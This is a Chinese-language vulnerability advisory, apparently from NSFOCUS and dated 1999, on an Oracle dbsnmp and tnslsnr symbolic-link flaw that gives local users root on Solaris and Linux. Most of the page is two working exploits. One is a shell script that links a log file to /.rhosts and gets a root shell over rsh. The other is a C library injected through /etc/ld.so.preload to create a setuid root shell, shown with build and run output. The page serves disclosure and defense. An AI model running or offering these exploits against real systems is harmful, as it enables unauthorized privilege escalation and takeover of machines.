首页 -> 安全研究

安全研究

安全漏洞
Oracle dbsnmp符号连接漏洞

发布日期:1999-11-15
更新日期:1999-11-15

受影响系统:
Oracle Oracle7 7.3.4
+ Sun Solaris 2.6_x86
- Sun Solaris 2.6
- Sun Solaris 2.5.1_x86
- Sun Solaris 2.5.1
- Sun Solaris 2.5_x86
- Sun Solaris 2.5
- Sun Solaris 2.4_x86
- Sun Solaris 2.4
- RedHat Linux 6.1
- RedHat Linux 6.0
- RedHat Linux 5.2
- RedHat Linux 5.1
- RedHat Linux 5.0

Oracle Oracle7 7.3.3
Oracle Oracle8 8.1.5
Oracle Oracle8 8.0.5
描述:
如果没有设置ORACLE_HOME,运行dbsnmp(缺省设置suid root/sgid dba)时会在当前目录下产生两个log文件:dbsnmpc 和 dbsnmpt 。如果这两个文件不存在,dbsnmpd将会创建属性为666、大小为400字节左右这两个文件。如果这两个文件存在,dbsnmp将不改变此文件属性,并将400字节左右的输出内容附加到这两个文件中。如果root没有设置.rhosts文件,就可以通过创建一/tmp/dbsnmpc 到 /.rhosts的符号连接来得到root权限。



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Solaris下检验程序:

#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You''ll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts

linux下检验程序:

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()

{
if (!geteuid()) {
remove("/etc/ld.so.preload");
execl("/bin/bash","bash","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}
}
*/

$ gcc -o oracle-ex.o -c oracle-ex.c -fPIC
$ gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 oracle-ex.o -nostartfiles
$ unset ORACLE_HOME
$ umask 0000
$ ln -s /etc/ld.so.preload /tmp/listener.log
$ /u01/app/oracle/product/8.0.5/bin/tnslsnr
$ echo /tmp/libno_ex.so.1.0 >/etc/ld.so.preload
$ telnet localhost
Trying ...
Connected to localhost.localdomain.
Escape character is '^]'.
Connection closed by foreign host.

$ ./xxxx
#
/*



建议:
在/etc/inetd.conf中注释掉'rsh'服务。


浏览次数:7421
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障